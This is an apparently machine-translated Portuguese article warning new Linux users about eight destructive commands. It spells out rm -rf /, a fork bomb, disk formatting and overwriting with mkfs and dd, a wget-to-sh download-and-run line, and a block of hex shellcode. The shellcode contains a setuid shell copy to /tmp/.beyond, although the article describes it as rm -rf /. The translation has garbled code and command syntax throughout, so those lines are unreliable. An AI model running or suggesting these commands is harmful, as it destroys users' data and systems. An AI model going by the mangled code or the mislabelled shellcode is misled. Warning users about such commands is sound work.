8 comandos que você nunca deve rodar no Linux
comandos do terminal do Linux são poderosos, e Linux não irá pedir-lhe para confirmar se você executar um comando que vai quebrar o seu sistema. Não é incomum ver trolls on-line recomendar novos usuários Linux executar esses comandos como uma piada.
Aprender os comandos que você não deve correr pode ajudar a proteger contra trolls, aumentando a sua compreensão de como o Linux funciona. Este não é um guia exaustivo, e os comandos aqui pode ser remisturado em uma variedade de formas.
Note-se que muitos desses comandos só será perigoso se eles estão prefixados com sudo no Ubuntu - eles não vão trabalhar de outra forma. Em outras distribuições Linux, a maioria dos comandos devem ser executados como root.
Crédito da imagem: Caveira remixed Jason Ford no Twitter
rm-rf / - Apaga tudo!
O comando rm -rf / exclui tudo o possível puder, incluindo arquivos em seu disco rígido e arquivos em Devics de mídia removíveis conectados. Este comando é mais compreensível se ele é discriminado:
rm - Remova os seguintes arquivos.rf - Run RM de forma recursiva (apagar todos os arquivos e pastas dentro da pasta especificada) ea força-remover todos os arquivos sem avisá-lo./ - Diz rm para iniciar no diretório raiz, que contém todos os arquivos no seu computador e todos os dispositivos de mídia montados, incluindo compartilhamentos de arquivos remotos e unidades removíveis.
Linux irá alegremente obedecer a esta ordem e apagar tudo sem avisá-lo, por isso tome cuidado ao usá-lo! O comando rm também pode ser usado de outras maneiras perigosas - rm -rf ~ iria apagar todos os arquivos em sua pasta pessoal, enquanto rm -rf *. Iria apagar todos os seus arquivos de configuração.
A lição: Cuidado com rm -rf.
Disfarçado rm-rf /
Aqui está outro trecho de código que é toda a web:
carbonizar esp __attribute__ [] ((seção ( ". text"))) / * esp
liberar * /
= "\ XEB \ x3e \ X5b \ x31 \ xc0 \ x50 \ x54 \ X5a \ x83 \ XEC \ x64 \ x68"
" \ xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "
" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ XF7 \ x16 \ XF7 " "
\ x56 \ x04 \ XF7 \ x56 \ x08 \ XF7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56 "
" \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31 "
" \ xc0 \ x40 \ XEB \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69 "
" \ x6e \ x2f \ x73 \ x68 \ x00 \ X2D \ x63 \ x00 "
" cp - p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ";
Esta é a versão hex de rm-rf / - executar este comando acabaria com seus arquivos como se você tivesse corrido rm-rf /.
A lição: Não execute comandos de aparência estranha, obviamente, disfarçados que você não entende.
: () {: |: &} ;: - Bomba Fork
A linha a seguir é uma função simples de aparência, mas perigoso, bash:
: () {: |: &} ;:
Esta linha curta define uma função shell que cria novas cópias de si mesmo. O processo replica-se continuamente, e suas cópias se continuamente replicar, rapidamente tomando todo o seu tempo de CPU e memória. Isso pode causar o computador para congelar. É basicamente um ataque de negação de serviço.
A lição: Bash funções são poderosos, mesmo as mais curtas.
Crédito de imagem: Dake no Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formata um disco rígido
O mkfs.ext4 / dev / sda1 comando é simples de entender:
mkfs.ext4 - Criar um novo sistema de arquivos ext4 no seguinte dispositivo./ dev / sda1 - Especifica a primeira partição do primeiro disco rígido, que é provavelmente em uso.
Tomados em conjunto, este comando pode ser equivalente a executar format c: no Windows - ele irá limpar os arquivos em sua primeira partição e substituí-los com um novo sistema de arquivos.
Este comando pode vir de outras formas, bem como - mkfs.ext3 / dev / sdb2 iria formatar a segunda partição no segundo disco rígido com o sistema de arquivos ext3.
A lição: Cuidado com a execução de comandos diretamente em dispositivos de disco rígido que começam com / dev / sd.
command> / dev / sda - grava diretamente para um disco rígido
A / sda command> / dev linha funciona de forma semelhante - ele é executado um comando e envia a saída do comando diretamente para o seu primeiro disco rígido, escrevendo os dados diretamente para a unidade de disco rígido e danificar o seu sistema de arquivos.
comando - Executar um comando (pode ser qualquer comando.)> - Envia a saída do comando para a seguinte localização./ dev / sda - Escrever a saída do comando diretamente para o dispositivo de disco rígido.
A lição: Como acima, cuidado com a execução de comandos que envolvem dispositivos de disco rígido começando com / dev / sd.
dd if = / dev / random of = / dev / sda - Escreve Junk para um disco rígido
A dd if = / dev / random of = / dev / sda linha também vai destruir os dados em um de seus discos rígidos.
dd - Realizar cópia de baixo nível de um local para outro.if = / dev / random - Use / dev / random (dados aleatórios) como a entrada - você também pode ver lugares como / dev / zero (zeros).of = / dev / sda - Saída para o primeiro disco rígido, substituindo o seu sistema de arquivos com dados de lixo aleatórios.
A lição: copia dados DD a partir de um local para outro, o que pode ser perigoso se você está copiando diretamente para um dispositivo.
Crédito de imagem: Matt Rudge no Flickr
~ / Dev / null mv - move o seu directório raiz a um Buraco Negro
/ dev / null é outro local especial - que se deslocam algo para / dev / null é a mesma coisa que destruí-lo. Pense em / dev / null como um buraco negro. Essencialmente, mv ~ / dev / null envia todos os seus arquivos pessoais em um buraco negro.
mv - Mova o seguinte arquivo ou diretório para outro local.~ - Representa sua pasta inteira./ dev / null - Mova sua pasta pessoal para / dev / null, destruindo todos os seus arquivos e apagar as cópias originais.
A lição: O personagem ~ representa sua pasta pessoal e mover as coisas para / dev / null destrói.
wget http://example.com/something -O - | SH - Downloads e executa um script
A linha acima o download de um script a partir da web e envia-lo para sh, que executa o conteúdo do script. Isso pode ser perigoso se você não tiver certeza de que o script é ou se você não confia em sua fonte - não executar scripts não confiáveis.
wget - Descarrega um ficheiro. (Você também pode ver onda no lugar de wget.)http://example.com/something - Baixar o arquivo a partir desta localização.| - Pipe (enviar), a saída do comando wget (o arquivo que você baixou) diretamente para outro comando.sh - Enviar o arquivo para o comando sh, que executa-lo se ele é um script bash.
A lição: Não baixar e executar scripts não confiáveis a partir da web, mesmo com um comando.
Conheça todos os outros comandos perigosas que as novas (e experientes) usuários de Linux não deve correr? Deixe um comentário e compartilhe-os!